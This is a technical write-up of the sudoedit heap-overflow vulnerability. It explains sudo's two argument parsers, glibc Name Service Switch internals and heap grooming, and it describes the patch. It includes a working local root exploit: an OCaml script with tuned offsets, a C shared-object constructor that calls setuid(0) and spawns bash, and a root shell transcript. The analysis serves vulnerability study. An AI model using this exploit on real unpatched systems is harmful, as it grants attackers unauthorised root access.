Sudoedit heap overflow
Jayden Rivers
@Awarau1
Introduction
Here, we give a brief overview of the relevant workings of sudo. Then we discuss the vulnerability as well as one possible exploitation method in depth. The details of exploitation will focus on our application of the technique known as “heap grooming” or “heap feng shui”. Lastly, we outline the fix.
Sudo (utility)
Sudo, or “superuser do”, is a widely used utility which assists people in administrating their Unix systems. Many Unix derived operating systems have sudo packaged by default.
According to the sudo manual, “sudo allows a permitted user to execute a command as the superuser or another user, as specified by the security policy.” The main use for sudo is to have fine-grained control over which users are able to perform which tasks on a given set of hosts. For example, it allows a superuser to delegate responsibilities to other users without having to share the root password with them.
There are two main designs realised in sudo: a policy plugin and a timestamp ticket system. The policy system decides which users are permitted to elevate their privileges, for which host, and for which particular commands. These capabilities are outlined by default in the sudoers file and through consulting system databases. Additionally, the ticket system decides the duration for which these privileges are elevated before the next sudo password prompt.
Sudo achieves temporary elevation of privileges by utilising the Unix setuid permission bit. This allows an executable to be run with the owner’s permissions. Where the owner may not be the same user who runs the executable. Because sudo is owned by root, it is run in the context of root.
When sudo is run, it parses the sudoers policy file to decide whether the current user’s requested command should be executed. It then prompts for the user’s password and forks into a child process whose effective user id allows it to perform the requested commands.
The bug
What is the bug?
What is the input and what are the parsers?
Take note of the initial guard condition which checks the command mode at line 604.
604 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
605 char **av, *cmnd = NULL;
606 int ac = 1;
607
608 if (argc != 0) {
609 /* shell -c "command" */
610 char *src, *dst;
611 size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
612 strlen(argv[argc - 1]) + 1;
613
614 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
[...]
619
620 for (av = argv; *av != NULL; av++) {
621 for (src = *av; *src != '\0'; src++) {
622 /* quote potential meta characters */
623 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
624 *dst++ = '\\';
625 *dst++ = *src;
626 }
627 *dst++ = ' ';
628 }
629 if (cmnd != dst)
630 dst--; /* replace last space with a NUL */
631 *dst = '\0';
632
633 ac += 2; /* -c cmnd */
634 }
635
636 av = reallocarray(NULL, ac + 1, sizeof(char *));
The second parser is found in set_cmnd:
935 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
[...]
957 /* Alloc and build up user_args. */
958 for (size = 0, av = NewArgv + 1; *av; av++)
959 size += strlen(*av) + 1;
960 if (size == 0 || (user_args = malloc(size)) == NULL) {
961 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
962 debug_return_int(NOT_FOUND_ERROR);
963 }
964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
965 /*
966 * When running a command via a shell, the sudo front-end
967 * escapes potential meta chars. We unescape non-spaces
968 * for sudoers matching and logging purposes.
969 */
970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
975 }
976 *to++ = ' ';
977 }
978 *--to = '\0';
979 }
As mentioned in the comment starting at line 965, the purpose of this code is to unescape the non-space characters found in the initially parsed arguments.
This second parser is necessary because sudo aims at meticulous logging of user activity. This follows from the sudo philosophy of allowing temporary access to superuser capabilities while leaving a clear trail for system admins to see what users are doing with sudo.
But there’s an assumption here: the first parser is a necessary precondition to the second parser. Breaking this assumption leads to a heap-based buffer overflow. To understand how, we first need to prove that there is an inconsistency between the guard conditions of the parse_args parser, and those of the set_cmnd parser. Respectively,
604 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
and
935 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
[...]
964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
We know that if either MODE_RUN or MODE_SHELL are false, then the first parser is not run.
We also know that only one of MODE_RUN, MODE_EDIT, or MODE_CHECK and one of MODE_SHELL or MODE_LOGIN_SHELL need to be true for the second parser to run.
With this information, there are a few hypothetical ways to break the assumption (that the second parser implies the first parser):
MODE_RUN is false, MODE_EDIT or MODE_CHECK is true, and MODE_SHELL or MODE_LOGIN_SHELL is true.
MODE_SHELL is false, MODE_EDIT or MODE_CHECK is true, and MODE_LOGIN_SHELL is true.
MODE_RUN and MODE_SHELL are false, MODE_EDIT or MODE_CHECK, and MODE_LOGIN_SHELL is true.
However, sudo also validates combinations of these flags. For example, it doesn’t make sense to allow both MODE_EDIT and MODE_SHELL to be set at the same time. Ordinarily, MODE_EDIT is set with the “-e” commandline argument to sudo:
363 case 'e':
364 if (mode && mode != MODE_EDIT)
365 usage_excl();
366 mode = MODE_EDIT;
367 sudo_settings[ARG_SUDOEDIT].value = "true";
368 valid_flags = MODE_NONINTERACTIVE;
369 break;
But as detailed in the Qualys report, there is a way to set MODE_EDIT as well as MODE_SHELL without MODE_RUN.
Say that sudo is invoked through sudoedit, a symlink to sudo which is functionally equivalent to sudo -e:
259 /* First, check to see if we were invoked as "sudoedit". */
260 proglen = strlen(progname);
261 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
262 progname = "sudoedit";
263 mode = MODE_EDIT;
264 sudo_settings[ARG_SUDOEDIT].value = "true";
265 }
Then the mode at 263 is set to MODE_EDIT, but there is no exclusion of MODE_SHELL from the valid flags. If we use:
sudoedit -s …
then we are basically invoking sudo as:
sudo -e -s …
without proper flag validation and without MODE_RUN.
This allows the set_cmnd parser to run on the user arguments, without them having been processed by the parse_args parser.
This is a logic error. But why does it result in a heap-based buffer overflow? Returning to the buffer write mechanism in set_cmnd:
958 for (size = 0, av = NewArgv + 1; *av; av++)
959 size += strlen(*av) + 1;
960 if (size == 0 || (user_args = malloc(size)) == NULL) {
[...]
970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
We can now focus on two important things:
the user_args buffer whose size is the combined length of the argument strings - and what happens at lines 971-974. The assumption here is that the metacharacters in NewArgv (traversed via from) have already been escaped.
Say that we don’t break the assumption and we give the argument:
BBBB\BB, then parser_args will store this as BBBB\\BB. This means that line 972 will skip the first backslash character, and line 974 will only write the second \ character to the user_args buffer.
Now say that we do break the assumption and BBB\BB has not been escaped. When this data reaches set_cmnd, then when from[0] is the \ character (and from[1] is not a space), it will be skipped and only ‘BBBBB’ will get written to the user_args buffer.
This by itself is a minor error, leading to the incorrect logging of commands. But there is a more dangerous use of this error. If we break the assumption and input:
BBBBB\
Then what will get written to the buffer when the \ character is skipped? The standard convention is to use a null character to terminate C strings. This means that the string in memory is actually this:
BBBBB\[0]
where [0] is the null character. So at line 974, the null character is written to the user_args buffer and most importantly, from[0] is now at the next character on the next iteration of the copy. This means that the test at line 971 will be incorrect because from[0] will not be the null character as used to terminate the loop, but will be the next character after the null terminator, continuing the loop beyond the bounds of the buffer.
This results in a heap-based buffer overflow, following from a logic error across two inconsistent conditions which guard the parsing of our inputted data. This naturally leads us to a few questions:
What follows the data in the source buffer, i.e. what data is written beyond the bounds of the user_args buffer?
x/10s av[ last argument index ] + [ length of argument ]
0x7ffec83bd7eb: "SHELL=/bin/bash"
0x7ffec83bd834: "NAME=fedora33.localdomain"
[...]
As you can see, these are environment variables. So the answer to our question is that the data which will overwrite memory adjacent to user_args are our environment variables.
What data can we overwrite, i.e. what is in the adjacent regions of memory?
This is a difficult question to answer because the arrangement of a process’ heap can change based on many different factors. The heap in this sense is not strictly indeterminable but it can be hard to predict exactly which regions of memory will follow which other regions of memory.
With an overflow, it may also be possible to overwrite inline metadata, taking advantage of the fact that memory allocators such as ptmalloc store their own data adjacent to the client program’s data.
We can make a distinction between application data and heap metadata. Where application data could include things like passwords, file names, objects, and so on and where heap metadata could include size fields, freelist pointers, and decision flags. But in general, it’s a hard task to autonomously decide what is user data and what is heap metadata. And both can influence the control flow of a process.
Here, we will focus on overwriting application data as for us it was the easiest method to reach code execution.
How do we turn this into code execution?
In the Qualys report, a few options were briefly outlined. We chose to overwrite one pointer with a null, partially overwrite the Least Significant Byte of another pointer, and to overwrite a string on the heap which is used to construct the name of a shared object. We were then able to execute our own shared library constructor in the context of sudo.
Exploiting the bug
Before going into detail about how the bug was exploited, we should learn a few relevant facts about the particular Unix facility sudo uses to check the user’s request against its system capabilities.
Name Service Switch
Name service switch is an extensible way for C library functions to use name services which access important system admin databases. This enables network-wide configuration.
Some of the databases which name services can access include: aliases, ethers, group, hosts, initgroups, netgroup, networks, passwd, protocols, publickey, rpc, etc.
We are mostly concerned with the group database. This is used by the libc getgrent function which is used by sudo to validate a user’s requested command against its group’s capabilities. If you’re not familiar with Unix groups, they’re basically just sets of users which share common capabilities on a system. Users can belong to multiple groups, allowing for fine-grained as well as general control over which users can access which resources.
The call graph for when sudo needs to access the group database can help illustrate the above:
main()
policy_check()
sudoers_policy_check()
sudoers_policy_main()
sudoers_lookup()
set_perms()
runas_setgroups()
runas_getgroups()
sudo_get_gidlist()
sudo_make_gidlist_item()
sudo_getgrouplist2_v1()
--------------------- GNULibc grgrent() -----------------------
getgrouplist()
internal_getgrouplist()
__GI___nss_database_lookup2() | __nss_lookup_function()
nss_load_library()
Why does sudo use this facility?
as shown here:
467 while ((grp = getgrent()) != NULL) {
468 if (grp->gr_gid == basegid || grp->gr_mem == NULL)
469 continue;
Now we will look at the implementation of this functionality as it appears in GNULibc 2.32.
How does libc access the group database?
Say that sudo has called getgrent, the next step is to get the group list from the database. This is done by the below function:
45 static int
46 internal_getgrouplist (const char *user, gid_t group, long int *size,
47 gid_t **groupsp, long int limit)
[...]
74 if (__nss_initgroups_database == NULL)
75 {
[...]
79 if (__nss_group_database == NULL)
80 no_more = __nss_database_lookup2 ("group", NULL, "files",
81 &__nss_group_database);
Now in __nss_database_lookup2 the service table is created by nss_parse_file which reads /etc/nsswitch.conf. This only needs to happen once, hence the condition at line 125. Then a list traversal is performed on the service table to find the entry with the name “group” as passed through the first argument.
125 if (service_table == NULL)
126 /* Read config file. */
127 service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
128
129 /* Test whether configuration data is available. */
130 if (service_table != NULL)
[...]
137 for (entry = service_table->entry; entry != NULL; entry = entry->next)
138 if (strcmp (database, entry->name) == 0)
139 *ni = entry->service;
p *service_table
$3 = {
entry = 0x55d73a357050,
library = 0x55d73a35c290
}
If it finds the “group” entry then the value at &__nss_group_database (as passed through the fourth argument) is set to the address of entry’s service_user object. For example:
p *(name_database_entry *)0x55d73a357050
$8 = {
next = 0x55d73a35baf0,
service = 0x55d73a35ba30,
name = 0x55d73a357060 "group"
}
Once __nss_database_lookup2 has initialised __nss_initgroups_database with the relevant entry’s service_user object we call __nss_lookup_function
94 service_user *nip = __nss_initgroups_database;
95 while (! no_more)
96 {
97 long int prev_start = start;
98
99 initgroups_dyn_function fct = __nss_lookup_function (nip,
100 "initgroups_dyn");
__nss_lookup_function then calls nss_load_library
447 /* Load the appropriate library. */
448 if (nss_load_library (ni) != 0)
We will come back to nss_load_library.
From here, we will explore what happens from the perspective of exploiting sudo. But the takeaway in this section is that sudo uses GNULibc to validate the user’s requested commands, and GNULibc uses multiple linked list structures to locate objects which are then used to access the name services. These name services access the relevant database - here that’s the group database.
The functions mentioned above are applied to various linked lists whose nodes are stored on the heap. In order of containment:
service_table is an object representing the deserialized contents of nsswitch.conf
service_table contains an entries linked list
each entry has a name and a service, where the services form another linked list of service_user objects.
We can look at our nsswitch.conf file to find:
passwd: sss files systemd
group: sss files systemd
netgroup: sss files
automount: sss files
services: sss files
This becomes service table, where the left-hand side coloumn becomes the entries list, and where each entry has a row of services. We also have a libraries (handles for shared objects) linked list which we will see again soon.
So the above description in memory is as follows:
p *database
$15 = {
entry = 0x5603a9372050,
library = 0x0
}
p *(*database)->entry
$16 = {
next = 0x5603a9376af0,
service = 0x5603a9376a30,
name = 0x5603a9372060 "group"
}
p *(*(*database)->entry)->service
$17 = {
next = 0x5603a9376a70,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x5603a9377250,
name = 0x5603a9376a60 "sss"
}
But why is this interesting to us? If you look at the name field of the service_user object above, it is “sss”. If we look at the code of nss_load_library, we can see what this is used for:
322 if (ni->library == NULL)
323 {
324 /* This service has not yet been used. Fetch the service
325 library for it, creating a new one if need be. If there
326 is no service table from the file, this static variable
327 holds the head of the service_library list made from the
328 default configuration. */
329 static name_database default_table;
330 ni->library = nss_new_service (service_table ?: &default_table,
331 ni->name);
332 if (ni->library == NULL)
333 return -1;
334 }
335
336 if (ni->library->lib_handle == NULL)
337 {
338 /* Load the shared library. */
339 size_t shlen = (7 + strlen (ni->name) + 3
340 + strlen (__nss_shlib_revision) + 1);
341 int saved_errno = errno;
342 char shlib_name[shlen];
343
344 /* Construct shared object name. */
345 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
346 "libnss_"),
347 ni->name),
348 ".so"),
349 __nss_shlib_revision);
350
351 ni->library->lib_handle = __libc_dlopen (shlib_name);
From line 345-347 the name field is used to construct the name of a shared object with the libnss_XXX.so.* convention. Then at line 351 this shared object is opened (and its constructor executed) through __libc_dlopen.
p shlib_name
$19 = 0x7ffe86db9be0 "libnss_sss.so"
Hypothetically, if we were able to overwrite the name of a service_user object then we could choose which shared object to execute in the above sequence, as the superuser.
is overwritten, then our ni->library must also be overwritten because the library field comes before the name field. If we can’t overwrite the library field with null bytes, then we will get an early crash on line 336.
Overwriting an nss service_user object
As we mentioned earlier, the arrangement of the heap can be quite hard to predict. But with some experimentation it becomes easier to control in a reliable way. Here we outline the constraints on our attempt to use the heap overflow to write into the name field of a service_user object.
The target service_user object must come after the buffer we overflow.
The bug is a heap overflow, rather than a heap underflow.
We must be able to write nulls to the library field.
Looking at the above code paste, we want to enter the block at 322.
In other words, if our ni->name is overwritten, then our ni->library must also be overwritten because the library field comes before the name field. But if we don’t overwrite it with nulls, then at line 336 we will get a crash.
The buffer we overflow must come after the service_table object in memory.
Say that this is our service_table:
p *service_table
$2 = {
entry = 0x55ba0c7a5050,
library = 0x55ba0c7aa290
}
x/4gx service_table
0x55ba0c7a5030: 0x000055ba0c7a5050 0x000055ba0c7aa290
We need the heap arranged like this because if this sequence is called before the overflow and then we overwrite the service_table object with bad or null data, we will either crash or never get see our target service_user object used to load the shared object. The entries list will be broken leaving our service_user object unreachable.
So if we want to overwrite application data which is accessed via the entries linked list, we need to be sure that our overflowed buffer comes after the service_table object in memory.
In order to load our own shared object, the condition at line 336 in the above code block must also be successful. We can see what needs to be achieved by looking at nss_new_service, called before the condition at line 336:
787 static service_library *
788 nss_new_service (name_database *database, const char *name)
789 {
790 service_library **currentp = &database->library;
791
792 while (*currentp != NULL)
793 {
794 if (strcmp ((*currentp)->name, name) == 0)
795 return *currentp;
796 currentp = &(*currentp)->next;
797 }
This means that if we have two contexts: before the overflow and after the overflow,
and a service_table library which we overwrite is instantiated with a library handle as below:
p **currentp
$8 = {
name = 0x559b1eeb0a60 "sss",
lib_handle = 0x559b1eeb12d0,
next = 0x0
}
Then we have overwriten the name “sss”, but the lib_handle will not be null. The problem with this is that a previously instantiated library handle will get reused for our service_user object, meaning we never get to execute our own shared object.
In summary: we want our heap memory to look like this:
[ service_table ]
...
[ user_args ]
...
[ target service_user ]
...
[ target service_library ]
But if our user_args allocation and overflow happens only after the service_user objects are first created, doesn’t this mean we can’t overflow into them?
GNULibc Malloc
A process’ data memory comes in a few types. There’s local, or automatic memory, which uses a function stack to store regions of memory. There’s static memory which remains for the entire process, and there’s manually or dynamically allocated memory.
In the last type, we are concerned with the heap. For our purposes, we use the dynamic memory allocator which comes with GNULibc: ptmalloc. Ptmalloc allows the programmer to have control over individual regions of memory - sometimes called “chunks”. This control includes their size and their state (whether they are freed / available or whether they are currently in use, potentially storing application data). There’s also some additional flags embedded in the headers of these chunks.
The freed state is necessary because once we have allocated a region of memory and after we have decided that we no longer need it - say once the data in it has been processed, then we want to be able to recycle this region of memory in the future, maybe writing different data to it. If not for this, we could run out of heap memory quite quickly, given a sufficiently complex process - known as “memory leaks”.
Malloc has facilities to accomodate this, often called freelists or bins. These are single or double linked lists which hold freed chunks. These freed chunks are then matched with the size argument in a future allocation request. I.e. if we have chunk A of size 0x40 and a chunk B of size 0x20 and then A is freed, if we then request a ~0x40 sized chunk C in the future, the memory originally used by A will be returned again. Meaning the order in memory will be C, B.
For our purposes here, all we need to know is that a previously freed chunk, sitting at an “earlier” part of the heap, may be reallocated back to the programmer in the future.
This solves the question asked at the end of the previous section.
In effect, with enough control over application logic, we are able to put our user_args buffer before the target service_user object in memory, even considering that the user_args buffer is requested at a later point in the process.
But we don’t just need a way to arrange the heap such that user_args is before service_user, but also that service_table sits before all of them and service_library sits after all of them.
So how do we actually get this control over the heap?
Heap Feng Shui
This is a way of using existing application logic to arrange the heap in a controlled way. Our goals here:
Allocate and free some chunks of memory early to shape the heap how we want.
Get the user_args buffer to reuse a predefined chunk which sits at the optimal location in memory.
Ensure this chunk is after service_table but before the target service_user and service_library.
We can achieve the first goal easily because we can always allocate and free chunks of our chosen size at the very beginning of sudo’s execution, found in the main function before set_cmnd:
171 setlocale(LC_ALL, "");
172 bindtextdomain(PACKAGE_NAME, LOCALEDIR);
173 textdomain(PACKAGE_NAME);
Essentially, we can use the LC environment variables to shape the heap. If we break in set_cmnd, we see some of the available chunks which user_args could use below
size address
----------------------------------
0x50 [ 1]: 0x55e0a7bd2700
0x80 [ 1]: 0x55e0a7bc09b0
0xb0 [ 1]: 0x55e0a7bc02d0
0xc0 [ 1]: 0x55e0a7bc9a90
0xd0 [ 1]: 0x55e0a7bc2fa0
0x110 [ 1]: 0x55e0a7bd9550
0x1e0 [ 1]: 0x55e0a7bd1510
0x3b0 [ 1]: 0x55e0a7bc30b0
So which one do we choose? It took us a bit of trial and error rather than purely through planning. But our process was as follows:
Break in set_cmnd see where the user_args is.
Break in __nss_database_lookup2 and see where the service_table is.
Break in nss_load_library and see where the service_user linked list nodes are.
We were able to arrange the heap in such a way that we got the below addresses (where their relative offsets are the same between runs but not their actual addresses due to ASLR).
[ service_table: 0x55e0a7bbc030 ] ...
[ user_args: 0x55e0a7bc09b0 ] ...
[ service_user: 0x55e0a7bc0a30 ] ...
[ service_library: 0x55e0a7bc1290 ]
This looks good, but as mentioned earlier, when it comes to the service_library we want to overwrite some part of it in order to ensure the below code never returns another service_library.
787 static service_library *
788 nss_new_service (name_database *database, const char *name)
789 {
790 service_library **currentp = &database->library;
791
792 while (*currentp != NULL)
793 {
794 if (strcmp ((*currentp)->name, name) == 0)
795 return *currentp;
796 currentp = &(*currentp)->next;
797 }
To reiterate, this is important because otherwise a new library handle will not be created and our shared object will not get executed. Rather than overwriting the entire service_library object as would be tempting, it is safer to only partially overwrite the name pointer field of this object. We can do this by ending the overflow at the LSB of the name pointer field, as shown below:
x/32gx 0x55e0a7bc1290 - 32
0x55e0a7bc1270: 0x0000000000000000 0x0000000000000000
0x55e0a7bc1280: 0x0000000000000000 0x4242420000000000
0x55e0a7bc1290: 0x000055e0a7bc0a00
p *database->library
$15 = {
name = 0x55e0a7bc0a00 '0' <repeats 32 times>,
lib_handle = 0x55e0a7bc12d0,
next = 0x55e0a7bc19a0
}
This ensures that the nss_new_service list traversal and string compare will not find the correct name and so it will not recycle the library handle of the service_user object we overwrite. Here, we overwrote the name field’s LSB.
But we also used null bytes with our target service_user structure’s library field:
p *ni
$12 = {
next = 0x0,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},
library = 0x0,
known = 0x55e0a7bd7240,
name = 0x55e0a7bc0a60 "X/X"
}
In fact, the bug allows us to write an arbitrary amount of null bytes via our environment variables. For each environment variable which ends with a backslash, a null byte is written. If you have an array of backslashes:
environment_vars = [
“\\”, “\\”, “\\”, “\\”,
“\\”, “\\”, “\\”, “\\”,
“\\”, “\\”, “\\”, “\\”,
“\\”, “\\”, “\\”, “\\”,
“B”,
];
This will get written as a block of null bytes in memory. This gives us all the things we need to successfully exploit this vulnerability.
Let’s quickly review the things we can do:
We can overflow from a chunk whose start address and size we have influence over
We control the contents and size of the data we use to overflow.
We can write as many null bytes as we want.
We can stop writing to memory with a stopper environment variable, which doesn’t end with a backslash.
Overview of our exploit
The below exploit is written in OCaml. It is a nice language to read so we use it to illustrate exploitation of sudo:
(* 1.9.4p2 and 1.9.5p1 using GLibc 2.32
Tested on fedora33 - magic numbers are
based on distribution and GLibc version.
*)
let prepenv () =
let lc = String.make 120 '0' in
let env = Array.make (2155) "\\" in
env.(63) <- "X/X\\";
env.(2153) <- "BBB";
env.(2154) <- "LC_ALL=C.UTF-8@" ^ lc;
env
let prepargs () =
let arga = String.make (0x80 - 0x10) '0' in
let arglist = [
"sudoedit"; "-u"; "root"; "-s"; arga ^ "\\"
] in
let args = Array.of_list arglist in
args
let env = prepenv ()
let args = prepargs ()
let run = Unix.execve "/usr/local/bin/sudoedit" args env
This exploit does the following:
Create an LC_ALL environment variable such that its heap chunk is allocated and subsequently freed. While we don’t use this same chunk again, through trial and error we discovered that this by itself arranges the heap in the optimal way.
Prepare an array full of “\\” which get mapped to null bytes in memory. This array is of length 2155, but 2159 is the exact distance between the start of the overflowing environment variables and the LSB of the target service_library->name field. We use the null byte which follows the “BBB” environment variable to achieve this.
At a calculated offset of 63, we overwrite the name field of our target service_user object.
Now our service_user object looks like this:
p *ni
$7 = {
next = 0x0,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},
library = 0x0,
known = 0x55d212016240,
name = 0x55d211fffa60 "X/X"
}
And so after we get a new library with no library handle:
p *ni->library
$9 = {
name = 0x55d211fffa60 "X/X",
lib_handle = 0x0,
next = 0x0
}
We enter the code block which gets us to code execution:
344 /* Construct shared object name. */
345 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
346 "libnss_"),
347 ni->name),
348 ".so"),
349 __nss_shlib_revision);
350
351 ni->library->lib_handle = __libc_dlopen (shlib_name);
Where we load our own shared object:
p shlib_name
$11 = 0x7ffc23bc27e0 "libnss_X/X.so"
Of course this requires us to have a subdirectory in the current directory called libnss_X/ which contains a shared object file named X.so.2 with the code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init(void);
static void
_init(void)
{
setgid(0);
setuid(0);
char *args_execv[] = {
"bash", NULL
};
execv("/bin/bash", args_execv);
}
With this, we are able to gain code execution.
user@fedora33 1.9.5p1sudo]$ ./sudoroot
[root@fedora33 1.9.5p1sudo]#
It should be noted that the steps of exploitation will vary between systems and versions. But the general methodology can be reapplied.
The fix
As there are two parts to the bug, there are two main parts to the fix, as far as we can see:
The first part ensures that when invoking sudo through sudoedit, the valid flags are set correctly in parse_args:
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = EDIT_VALID_FLAGS;
}
Additionally, a check to determine whether we are writing after the null byte is performed in set_cmnd:
while (*from) {
if (from[0] == '\\' && from[1] != '\0' &&
!isspace((unsigned char)from[1])) {
from++;
}
Summary
The bug is a heap-based overflow made possible by a parser differential error, in turn made possible by inconsistent guard conditions around the two parsers. Our chosen method of exploitation focuses on loading a shared object through the Name Service Switch facility of GNULibc. Sudo uses this facility to access the group service and database so that it can check a user’s request against the group’s capabilities.
Although nothing new was discussed here, as the method of exploitation was already mentioned by Qualys in their original report, our hope is that you come away with a better understanding of the vulnerability and some small part of GLibc internals. It is also our wish to express the unlikeliness of finding a vulnerability like this given that:
it’s interprocedural (across parse_args and set_cmnd)
at its heart this is a logic error (across two guard conditions)
Both of these facts make such a bug very hard to spot and this is probably why it was present in sudo for nearly 10 years.